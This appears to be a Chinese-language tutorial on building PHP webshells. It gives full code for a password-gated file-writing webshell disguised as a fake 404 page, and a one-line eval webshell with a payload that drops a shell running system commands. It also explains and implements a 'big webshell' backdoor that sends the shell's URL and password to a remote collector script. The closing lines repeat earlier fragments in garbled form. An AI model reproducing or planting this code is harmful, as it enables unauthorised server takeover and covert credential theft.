PHP工具开发
PHP小马
- 简单隐藏
- 登陆密码
- 实现写入文件
<?php$pass = '14e1b600b1fd579f47433b88e8d85291'; #123456$get = $_GET['pass'];if (!empty($get)) {if (md5(md5($get))) {if (!empty($_POST)) {$path=$_POST['filepath'];$content=$_POST['filecontent'];# 文件写入$statement=fopen($path,"w");# fopen('文件路径','打开模式')if(fwrite($statement,$content))# fwrite('文件路径','文件内容'),成功返回字符数,失败返回false{echo '<font color="red">success</font><br/>';}else{echo '<font color="red">error!</font><br/>';}}echo '服务器ip:' . $_SERVER['HTTP_HOST'] . '' . gethostbyname($_SERVER['HTTP_HOST']) . '<br/>';echo '绝对路径:' . $_SERVER['SCRIPT_FILENAME'] . '<br/>';echo '当前目录:' . __DIR__ . '<br/>';echo '<form action="" method="post">';echo '文件路径 <br/><input type="text" name="filepath" value="' . $_SERVER['SCRIPT_FILENAME'] . '"><br/>';echo '文件内容 <br/><textarea name="filecontent" id="filecontent"></textarea><br/>';echo '<input type="submit" value="submit">';echo '</form>';} else {echo 'password is worry';}} else {?><!--第二部分-404报错界面--> <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN\"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL <?php echo($_SERVER['REQUEST_URI']); ?> was not found on this server.</p></body><?php}?><!-- else 的结束右括号 -->
一句话木马
原理分析
eval:把字符串当作 php 代码执行
<?php @eval($_POST['aa'])?>?aa=fwrite(fopen('shell.php','w'),'<?php system('ls');?>')
assert:同 eval
抓包分析
使用 WSExploer 抓包工具可以更具软件进程进行网络抓包
原始:
base64解密后
一句话木马变形写法
https://mp.weixin.qq.com/s/YH_LWRNb3T2QapWKlzybAg
正则
file_get_contents() 可以直接访问 url
PHP大马分析
网上的大马大都有后门,大马下载网站存在搜索引擎优化 seo
使用大马应先抓包看有没有后门
案例1:
这个大马回首先下载 404.gif,下载部分未后门一部分
使用 wireshark 抓包后看到后门会将 shell 的信息发送给远程服务器
案例二:
抓包结果
大马代码,这个大马会首先请求远程服务器,下载大马
首先解密 ascii
echo $get 即可,不要总想着看到加密后的就只想逆向解密,直接换成输出,简单高效
$get=file_get_contents()
$unzip=gzinflate
解密大马源码,找到后门,登陆时传输数据到后台
实现大马后门
前端大马 shell.php
<?php$pass = 'admin';if (empty($_POST)) {echo '<form action="" method="post">';echo 'password <input type="text" name="password" >';echo '<input type="submit" value="submit">';echo '</form>';} else {$password=$_POST['password'];echo $password;if ($password == $pass) {$url = 'http://localhost/demo/audit/dama/box.php';$path='?url='.$_SERVER['HTTP_REFERER'].'&password='.$password;echo$path;file_get_contents($url.$path);}else{echo 'pass worry';}}
后端箱子 box.php
<?phpif (!empty($_GET)) {$url=$_GET['url'];$f=fopen('data.txt','w');fwrite($f,$url);fwrite($f,'\r\n');fclose($f);}
data.txt
http://localhost/demo/audit/dama/shell.php\r\n
编写大马
大马出现问题的修复
大部分是引用传参的问题导致的
- PHP版本问题
- 函数过期
- 函数用法变化
- 系统环境不支持
漏洞框架实战
fclose($f);
}
data.txt
http://localhost/demo/audit/dama/shell.php\r\n
#### 编写大马大马出现问题的修复大部分是引用传参的问题导致的1. PHP版本问题 1. 函数过期 2. 函数用法变化2. 系统环境不支持### 漏洞框架实战